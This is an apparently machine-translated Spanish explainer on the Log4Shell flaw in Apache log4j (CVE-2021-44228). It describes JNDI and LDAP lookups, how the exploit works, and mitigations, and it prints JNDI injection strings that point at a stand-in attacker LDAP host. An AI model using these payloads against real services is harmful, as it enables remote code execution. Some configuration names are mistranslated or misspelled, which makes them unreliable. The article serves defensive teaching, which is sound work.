¿Qué es la vulnerabilidad Apache Log4j?

El 9 de diciembre de 2021, el mundo se enteró de la vulnerabilidad única, más grande y más crítica como CVE-2021-44228 , que afecta a la utilidad de registro log4j basada en Java. Esta vulnerabilidad fue informada a apache por Chen Zhaojun del equipo de seguridad en la nube de Alibaba el 24 de noviembre de 2021 y publicada en un tweet el 9 de diciembre de 2021. 

La base de software de Apache asignó una puntuación de gravedad máxima de 10/10. La vulnerabilidad permite a los atacantes la ejecución remota de código y la string de carga útil parece «${jndi:ldap://attacker.com/a}». Muchos de los servicios afectados por la organización incluyen Cloudfare, Apple iCloud, Minecraft: java edition, stream, Tencent QQ y Twitter.

¿Qué son log4j y búsquedas?

Apache log4j es una utilidad de registro basada en Java. La función de Apache log4j es registrar información para ayudar a que las aplicaciones se ejecuten sin problemas, determinar qué sucede y depurar procesos cuando se producen errores. log4j puede registrar intentos de inicio de sesión (nombre de usuario, contraseña), formulario de envío y encabezados HTTP (agente de usuario, x-forwarded-host, etc.) en el archivo de registro o la base de datos.

Apache log4j 2.0 presenta 

  • Nuevo sistema de complementos
  • Soporte para propiedades
  • Soporte de configuración base JSON
  • Recarga automática de su configuración

Las búsquedas proporcionan una forma de agregar valores a la configuración de log4j en lugares arbitrarios.

Sintaxis:

${prefix:name}

Los tipos de búsquedas son los siguientes:

  1. el contexto puede realizar búsquedas
  2. búsquedas de fecha
  3. búsquedas de entorno
  4. búsquedas jndi (razón principal de la vulnerabilidad)
  5. búsquedas java
    • ${java:versión}
    • ${java: tiempo de ejecución}
    • ${java: os}

Ahora comprendamos brevemente acerca de LDAP Y JNDI antes de aprender log4j exploit

¿Qué es LDAP?

How LDAP Works

El Protocolo ligero de acceso a directorios (LDAP) es un protocolo de aplicación estándar abierto para acceder y mantener servicios de información de directorio distribuidos a través de una red de protocolo de Internet. En simple, la metáfora del árbol de información se llama Árbol de información de directorio (DIT). Supongamos que el usuario se registra en la aplicación utilizando un nombre de usuario y una contraseña. Aquí el servidor LDAP almacena la información del usuario en su cuenta. cada vez que un usuario intenta iniciar sesión en la aplicación, el servidor LDAP verifica la identidad del usuario mediante la autorización. si el nombre de usuario y la contraseña del usuario son correctos, devuelve la cuenta del usuario.

¿Qué es JNDI?

JNDI

JNDI proporciona una API para que las aplicaciones interactúen con objetos remotos registrados con el registro RMI o un servicio de directorio como LDAP. Entonces, la aplicación Java no puede solicitar directamente al servidor LDAP, porque necesitamos jndi que nos brinde la forma de interactuar con LDAP.

Query: ${jndi:ldap://[server-ip-address]}

Es específico de una interfaz de proveedor de servicios (SPI) que permite que las implementaciones de servicios de directorio se conecten al marco.

¿Cómo puede explotar la vulnerabilidad log4j?

Log4j permite que los mensajes registrados contengan strings de formato que hacen referencia a información externa a través de la interfaz de directorio y nombres de Java (JNDI). Esto permite que la información se recupere de forma remota a través de una variedad de protocolos, incluido el Protocolo ligero de acceso a directorios (LDAP).

Se supone que uno de los servicios es vulnerable a la vulnerabilidad log4j. En la vista de nivel de usuario, cuando el usuario intenta iniciar sesión, log4j registra datos de usuario como nombre de usuario, encabezados http (agente de usuario: Mozilla/5.0 (Windows NT 10.0; Win64; x64)). En el caso del atacante, inserta las referencias de consulta JNDI que apuntan al servidor LDAP malicioso que controlan, listo para servir clases java maliciosas en cualquier acción que elijan. cuando log4j vio la siguiente consulta en el mensaje de registro:

${jndi:ldap://attacker_ldap_server.com/payload}

Le indica al JNDI que solicite al servidor en «attacker_ldap_server.com» el objeto «paylod». JNDI ejecutará las clases de Java a las que hace referencia un servidor LDAP. Si la respuesta del servidor LDAP hace referencia a la URL http://attacker_ldap_server.com/payload, JNDI solicitará automáticamente el archivo «carga útil» del servidor web y ejecutará la respuesta. Y yaa BOOM….! Ahora puede obtener RCE (ejecución remota de código) en una aplicación.

Mitigación

1. Mitigación de Log4j 1.x

  • Log4j 1.x no se ve afectado por esta vulnerabilidad.

2. Mitigación de Log4j 2.x

  • Actualice a Log4j 2.3.2 (para Java 6), 2.12.4 (para Java 7) o 2.17.1 (para Java 8 y posteriores).

3. Log4j >= v2.10 

  • Log4j2.formatMsgNoLookuos=verdadero
  • LOG4J_FORMAT_MSG_NO_LOOKUPS=verdadero

4. Log4j <v2.10

  • Eliminar la clase de búsqueda jndi de classpath

5. Bloquear exploits

  • reglas WAF
  • Filtros de salida

Publicación traducida automáticamente

Artículo escrito por officially2808 y traducido por Barcelona Geeks. The original can be accessed here. Licence: CCBY-SA

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *